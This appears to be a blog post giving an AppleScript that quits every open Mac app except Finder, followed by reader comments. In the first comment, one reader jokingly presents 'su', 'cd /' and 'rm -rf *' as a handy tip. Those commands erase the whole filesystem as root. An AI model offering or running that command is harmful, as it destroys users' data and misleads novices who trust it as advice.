Create A “Quit Everything” App [OS X Tips]

By

quitallapp

Ever wanted to quit every single open application? Perhaps you want to free up memory for the launch of another app. Here’s one way of doing it quickly and cleanly.

Here’s another tip from Mac Kung Fu, which contains over 300 tips, tricks, hints and hacks for OS X. It’s available from Amazon as well as other bookstores, and also as an eBook for all eReaders.

You can create an app using AppleScript Editor that you can place in the Dock and that will quit all open apps when clicked. Here are the steps:

  1. Start AppleScript Editor by double-clicking its entry in the Utilities folder of Applications in Finder.
  2. In the main code area, type the following:
    tell application "System Events" to set quitapps to name of every application process whose visible is true and name is not "Finder"
    repeat with closeall in quitapps
    quit application closeall
    end repeat
  3. Click the Compile button on the toolbar to check the code to ensure it’s correct. If it’s OK, the code will be colored and indented properly. If it’s incorrect, you’ll see an error message. Try typing the code again.
  4. Click File->Save and choose to save the new app in your Applications folder. Call it something memorable—I chose “Quit Everything!” In the File Format dropdown list, choose Application.
  5. Close AppleScript Editor and navigate to your Applications list within Finder. Then drag and drop your new app onto the Dock, ready for use.

Another trick I use sometimes to quickly quit all apps is to use the task switcher (hold down Command and tap Tab), then hit Q when the highlight is over any app I want to quit.

Deals of the Day

18 responses to “Create A “Quit Everything” App [OS X Tips]”

  1. phildobbin says:

    I’ve always found this tip handy:

    $ su
    $ password
    # cd /
    # rm -rf  *

    (¦-}>

  2. Roentgenium says:

    You can also add the applescript to Alfred as a extension. Copy the code and paste it to Alfred, make sure to remove the “on alfred_script(q)” handlers so you wont need a parameter to run the script. And you wont need anything on your dock to klick on.

  3. karmaisabitch2011 says:

    There’s also a simple Applescript script that you can easily make into a button (app) already built in. I use it all the time.

  4. sincarne says:

    I prefer this one from GigaOm: http://gigaom.com/apple/how-to

    It includes a whitelist so if you want to shut down everything but your core apps, you can do so.

  5. KeirThomas says:

    Built-in where? 

  6. Tom Boogerd says:

    nice! it remembers me of the PPC app “Quit All”, used it all the time.
    currently i use “ctrl+cmd+eject” to quit all and restart. but sometimes you don’t want to restart.
    ideal replacement. thanx

  7. Bob Whipple says:

    Shift + Command + Q = quits all apps.

  8. Jason Douglas says:

    Can this script be modified to “Quit and Close all Windows” for all open applications? 

  9. Tom Boogerd says:

    that’s the shortcut for “Log Out User”

  10. Adam_Cutler says:

    or you can just open Automator and create a Service, Workflow or App that solely consists of the “Quit All Applications” element.

  11. KeirThomas says:

    Try it. It doesn’t work 100% all the time. Some apps won’t quit. 

  12. KeirThomas says:

    Not sure what you mean. Won’t quitting an app close all its windows? Or do you mean modifying the script to close all open windows, but leave the apps running? 

  13. Jason Douglas says:

    I meant that new feature in Lion that remembers your recently open windows. Unless I hold down the option key when I quit those recent windows re-open when I open the application again. I just wondered if there was a way to modify the script to close the windows and quit the app. 

    thanks!

  14. KeirThomas says:

    Nice, thanks!

  15. AppleJoeAJ says:

    I tried this and it gave me the error “Can’t get every application of application “System Events.” I copy pasted the code twice and still no luck ?_? Am I doing something wrong here?

  16. AppleJoeAJ says:

    AppleScript said this as well in the lower window part “error “System Events got an error: Can’t get every application.” number -1728 from every application”

  17. AppleJoeAJ says:

    Never mind I got it to work ^_^

  18. karmaisabitch2011 says:

    It’s in the Applescript menu. 

Leave a Reply

Your email address will not be published. Required fields are marked *